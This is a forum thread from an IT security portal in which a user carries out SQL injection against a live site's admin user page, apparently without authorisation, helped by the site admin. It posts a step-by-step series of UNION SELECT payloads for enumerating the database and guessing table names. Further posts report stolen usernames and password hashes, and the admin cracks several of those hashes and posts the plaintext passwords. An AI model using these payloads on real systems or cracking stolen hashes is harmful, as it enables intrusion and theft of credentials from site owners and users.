Waraxe IT Security Portal
Login or Register
January 7, 2026
Menu
Home
Logout
Discussions
Forums
Members List
IRC chat
Tools
Base64 coder
MD5 hash
CRC32 checksum
ROT13 coder
SHA-1 hash
URL-decoder
Sql Char Encoder
Affiliates
y3dips ITsec
Md5 Cracker
User Manuals
AlbumNow
Content
Content
Sections
FAQ
Top
Info
Feedback
Recommend Us
Search
Journal
Your Account
User Info
Welcome, Anonymous
Nickname
Password
(Register)

Membership:
Latest: MichaelSnaRe
New Today: 0
New Yesterday: 0
Overall: 9144

People Online:
Visitors: 182
Members: 0
Total: 182
Full disclosure
Multiple Security Misconfigurations and Customer Enumeration Exposure in Convercent Whistleblowing Platform (EQS Group)
Panda3d v1.10.16 Uncontrolled Format String in Panda3D egg-mkfont Allows Stack Memory Disclosure
Panda3d v1.10.16 egg-mkfont Stack Buffer Overflow
Panda3d v1.10.16 deploy-stub Unbounded Stack Allocation Leading to Uninitialized Memory
MongoDB v8.3.0 Integer Underflow in LMDB mdb_load
Bioformats v8.3.0 Untrusted Deserialization of Bio-Formats Memoizer Cache Files
Bioformats v8.3.0 Improper Restriction of XML External Entity Reference in Bio-Formats Leica Microsystems XML Parser
MongoDB v8.3.0 Heap Buffer Underflow in OpenLDAP LMDB mdb_load
zlib v1.3.1.2 Global Buffer Overflow in TGZfname() of zlib untgz Utility via Unbounded strcpy() on User-Supplied Archive Name
SigInt-Hombre v1 / dynamic Suricata detection rules from real-time threat feeds
Security Vulnerability in Koller Secret: Real Hidden App(com.koller.secret.hid emyphoto)
Linux Kernel Block Subsystem Vulnerabilities
[KIS-2025-14] PKP-WAL <= 3.5.0-1 Login Cross-Site RequestForgery Vulnerability
[KIS-2025-13] PKP-WAL <= 3.5.0-3 (X-Forwarded-Host) LESS Code Injection Vulnerability
[KIS-2025-12] PKP-WAL <= 3.5.0-1 (baseColour) LESS CodeInjection Vulnerability
Log in Register Forum FAQ Memberlist Search
IT Security and Insecurity Portal

www.waraxe.us Forum Index -> Sql injection -> SQL Inj help
Post new topicReply to topic View previous topic :: View next topic
SQL Inj help
PostPosted: Wed Feb 20, 2008 4:49 am Reply with quote
gibbocool
Advanced user
Advanced user
Joined: Jan 22, 2008
Posts: 208




So I have a user info page and there's three errors in 3 different fields with

Code:
admin_view_user.php?userid=-1+OR


Code:

Warning: mysql_num_rows(): supplied argument is not a valid MySQL result resource in /home/webpage/****/admin_view_user.php on line 212


any userid gives this error.


Code:
-1+UNION+ALL+SELECT+@@version--+

gives 4.1.11 in userID field

Code:
-1+UNION+ALL+SELECT+@@version,@@version--+

gives only sql warning error

Code:

-1+UNION+ALL+SELECT+@@version,@@version,@@version--+

gives only sql warning error

Code:
-1+UNION+ALL+SELECT+@@version,@@version,@@version,@@version--+

gives 4.1.11 in place where 3rd warning was.

Code:

-1+UNION+ALL+SELECT+1,2,3,4

gives blah blah 2 blah blah 3 in place where 3rd warning was.

Code:

-1+UNION+ALL+SELECT+1,4,5,4--+

gives blah blah 4 blah blah 5 in place where 3rd warning was.

Code:
-1+UNION+ALL+SELECT+1,2,3,4,5--+

back to mysql warning error. This continues no matter how many numbers.

Some help in progressing?
View user's profile Send private message Visit poster's website
PostPosted: Wed Feb 20, 2008 10:22 am Reply with quote
waraxe
Site admin
Site admin
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




So "-1+UNION+ALL+SELECT+@@version--+" is working for you, because you got feedback - MySql version.

Next just use this for fetching other data:

Code:

-1+UNION+ALL+SELECT+USER()--+


Code:

-1+UNION+ALL+SELECT+DATABASE()--+


Code:

-1+UNION+ALL+SELECT+COUNT(*)+FROM+mysql.user--+


About error messages - do they reveal sql schema details, like table and field names?
View user's profile Send private message Send e-mail Visit poster's website
PostPosted: Wed Feb 20, 2008 1:13 pm Reply with quote
gibbocool
Advanced user
Advanced user
Joined: Jan 22, 2008
Posts: 208




Output from:

-1+UNION+ALL+SELECT+USER()--+
sitename@localhost

-1+UNION+ALL+SELECT+DATABASE()--+
sitename

-1+UNION+ALL+SELECT+COUNT(*)+FROM+mysql.user--+
blank

No error messages are showing schema details.
View user's profile Send private message Visit poster's website
PostPosted: Wed Feb 20, 2008 1:39 pm Reply with quote
waraxe
Site admin
Site admin
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




As version is 4.1.x and there is no INFORMATION_SCHEMA, then you have to guess table and field names ...

Code:

-1+UNION+ALL+SELECT+COUNT(*)+FROM+user--+


Code:

-1+UNION+ALL+SELECT+COUNT(*)+FROM+users--+


Code:

-1+UNION+ALL+SELECT+COUNT(*)+FROM+admin--+


Code:

-1+UNION+ALL+SELECT+COUNT(*)+FROM+admins--+


Code:

-1+UNION+ALL+SELECT+COUNT(*)+FROM+login--+


if you get existing table name, then rows count can be seen.
View user's profile Send private message Send e-mail Visit poster's website
PostPosted: Wed Feb 20, 2008 11:03 pm Reply with quote
gibbocool
Advanced user
Advanced user
Joined: Jan 22, 2008
Posts: 208




Thanks waraxe i got username and passwords Smile

But passwords are in weird form i have never seen, maybe you have?
I thought it was just hex but hex decoder doesnt work!
So I made user account to help you.

2894bf0d22b7db6e = conibear

4b5698aa4603595b
View user's profile Send private message Visit poster's website
PostPosted: Thu Feb 21, 2008 12:13 am Reply with quote
waraxe
Site admin
Site admin
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




gibbocool wrote:
Thanks waraxe i got username and passwords Smile

But passwords are in weird form i have never seen, maybe you have?
I thought it was just hex but hex decoder doesnt work!
So I made user account to help you.

2894bf0d22b7db6e = conibear

4b5698aa4603595b


It's old-style mysql hash algorithm.

Plaintext of 4B5698AA4603595B is abc123

Smile
View user's profile Send private message Send e-mail Visit poster's website
PostPosted: Thu Feb 21, 2008 12:17 am Reply with quote
gibbocool
Advanced user
Advanced user
Joined: Jan 22, 2008
Posts: 208




So how did you decode it?

Also
244bb9953224055c
View user's profile Send private message Visit poster's website
PostPosted: Thu Feb 21, 2008 12:26 am Reply with quote
waraxe
Site admin
Site admin
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




gibbocool wrote:
So how did you decode it?

Also
244bb9953224055c


Plaintext of 244BB9953224055C is ponting

I am using Cain password cracker --> MySql hashes --> Mysql 3.23 Hashes

And this is not decoding, it's cracking. There is difference between them Wink
View user's profile Send private message Send e-mail Visit poster's website
PostPosted: Thu Feb 21, 2008 12:34 am Reply with quote
gibbocool
Advanced user
Advanced user
Joined: Jan 22, 2008
Posts: 208




Thanks waraxe Smile
I assume you used rainbow tables?
View user's profile Send private message Visit poster's website
PostPosted: Thu Feb 21, 2008 12:48 am Reply with quote
waraxe
Site admin
Site admin
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




gibbocool wrote:
Thanks waraxe Smile
I assume you used rainbow tables?


No, currently i don't have mysql hash rainbow tables, only for md5.

But hashes for such easy passwords can be successfully cracked by bruteforce and wordlist methods. And I was using wordlists Smile
View user's profile Send private message Send e-mail Visit poster's website
PostPosted: Sat Mar 01, 2008 11:49 pm Reply with quote
cavevip
Regular user
Regular user
Joined: Mar 01, 2008
Posts: 10




7de3c2b43b1239ea
0ae737342ae98ce6
042f00283cae02b2
7389bec86c828d5a

help me crack pass mysql
thanks Very Happy
View user's profile Send private message
PostPosted: Sun Mar 02, 2008 12:08 am Reply with quote
waraxe
Site admin
Site admin
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




cavevip wrote:
7de3c2b43b1239ea
0ae737342ae98ce6
042f00283cae02b2
7389bec86c828d5a

help me crack pass mysql
thanks Very Happy


Plaintext of 042F00283CAE02B2 is andyn
Plaintext of 0AE737342AE98CE6 is pulteney
Plaintext of 7389BEC86C828D5A is qb35jr7
View user's profile Send private message Send e-mail Visit poster's website
crack
PostPosted: Mon Sep 16, 2013 11:30 am Reply with quote
centro
Beginner
Beginner
Joined: Sep 16, 2013
Posts: 2




can someone crack this? 64ca7cc70da9d482

thank you friends
View user's profile Send private message
PostPosted: Fri Feb 28, 2014 8:59 am Reply with quote
goodboya
Beginner
Beginner
Joined: Feb 27, 2014
Posts: 3




2894bf0d22b7db6e = conibear



_____________________

Fut 14 Coins
View user's profile Send private message Visit poster's website
SQL Inj help
www.waraxe.us Forum Index -> Sql injection
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
All times are GMT
Page 1 of 1

Post new topicReply to topic


Powered by phpBB © 2001-2008 phpBB Group



PCWizardHub - Helping you fix, build, and optimize your PC life
All logos and trademarks in this site are property of their respective owner. The comments and posts are property of their posters, all the rest (c) 2004-2024 Janek Vind "waraxe"
Page Generation: 0.047 Seconds